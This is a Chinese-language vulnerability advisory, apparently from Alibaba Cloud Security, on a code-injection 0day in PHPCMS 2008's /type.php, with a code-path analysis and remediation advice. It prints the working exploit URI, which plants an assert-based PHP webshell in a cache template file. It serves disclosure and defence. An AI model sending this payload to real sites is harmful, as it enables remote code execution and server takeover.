CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警

摘要:11月4日,阿里云安全首次捕获phpcms 2008版本的/type.php远程getshell 0day利用攻击,攻击者可以利用该漏洞远程植入webshell,导致文件篡改、数据泄漏、服务器被远程控制等一系列严重问题。建议受影响用户尽快升级到最新版本修复。
———————
phpcms网站内容管理系统是国内主流cms系统之一,同时也是一个开源的php开发框架。
phpcms最早于2008年推出,最新版已出到v9.6.3,但由于稳定、灵活、开源的特性,时至今日,phpcms2008版本仍被许多网站所使用。
漏洞细节
当攻击者向安装有phpcms 2008的网站发送uri为如下文本的payload
/type.php?template=tag_(){};@unlink(_file_);assert($_post[1]);{//../rss那么@unlink(_file_);assert($_post[1]);这句恶意php指令将被写入网站的/cache_template/rss.tpl.php文件。
漏洞原理
该漏洞源于phpcms 2008源码中的/type.php文件。该文件包含如下代码:
if(empty($template)) $template = 'type';...include template('phpcms', $template);这里template变量是用户能够通过传入参数控制的,同时可以看到该变量之后会被传入template()方法。而template()方法在/include/global.func.php文件中定义,包含如下代码:
template_compile($module, $template, $istag);
不难看出,这里会继续调用/include/template.func.php中的template_compile():
function template_compile($module, $template, $istag = 0){    ...    $compiledtplfile = tpl_cachepath.$module.'_'.$template.'.tpl.php';    $content = ($istag || substr($template, 0, 4) == 'tag_') ? ''.template_parse($content, 1).'' : template_parse($content);    $strlen = file_put_contents($compiledtplfile, $content);    ...}在这个方法中,template变量同时被用于compiledtplfile变量中文件路径的生成,和content变量中文件内容的生成。
而前文所述的攻击payload将template变量被设置为如下的值
tag_(){};@unlink(_file_);assert($_post[1]);{//../rss
所以在template_compile()方法中,调用file_put_contents()函数时的第一个参数就被写成了data/cache_template/phpcms_tag_(){};@unlink(_file_);assert($_post[1]);{//../rss.tpl.php,这将被php解析成data/cache_template/rss.tpl.php。
最终,@unlink(_file_);assert($_post[1]);将被写入该文件。
影响范围
虽然距离phpcms2008版本的推出已经10年,但仍有不少网站正在使用phpcms2008,包括政府、企业的网站;根据fofa网络空间安全搜索引擎的全网精确搜索结果显示,还有近200个使用phpcms2008版本的网站;而如果使用模糊匹配对网站进行识别,匹配结果更达上万个。
通过利用该漏洞,攻击者在向路径可控的文件写入恶意脚本代码后,后续将能够向该文件发送webshell指令,在服务器上执行任意代码,因此该代码注入漏洞的影响较大。
安全建议
手动修复
临时解决可以在/type.php文件中对template变量进行过滤,避免用户输入的含有(、{等符号的内容混入,并被当做路径和脚本内容处理。
但由于phpcms2008版本过旧,用户应尽量升级到最新版本的phpcms,才能够更好地保障安全。
安全加固
•云防火墙已支持对该类漏洞的入侵防御,开启云防火墙ips拦截模式和虚拟补丁功能,用户即使不自行进行修复,也依然能够进行防御和拦截。
•购买安全管家服务,您将能够在阿里云安全专家指导下进行安全加固及优化,避免系统受到该漏洞及后续其他漏洞影响。

点成分享 | 带你了解移液器的原理及其分类
Airpods2有什么新功能
服务化改造实践(一)| Dubbo + ZooKeeper
Diodes公司的双向8通道电位转换器提供宽电压范围及弹性输出选项
天才少年稚晖君官宣智元人形机器人「远征 A1」即将发布
CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警
VI 编辑器的命令、模式和选项介绍
微软中国与小冰公司达成战略合作,深化AI+云计算商业化行业解决方案落地
版权保护加密芯片MOD208示例程序与参考设计
什么是安全芯片
双十一临近彩电行业价格战愈演愈烈
vivoZ5评测 全能ACE向旗舰看齐
INTEST公司成功入选湖北省第五批专精特新中小企业
一些能够实现5G基站和网络的关键RF通信技术
电子芯闻早报:中国自主芯片逆袭,VR很火热
功率放大金属颗粒材质识别应用案例
华为p50芯片制造公司排名
2017年手机、VR设备、电视等关键零部件趋势预测
FPGA未来的发展分析
小功率音频放大器MC34119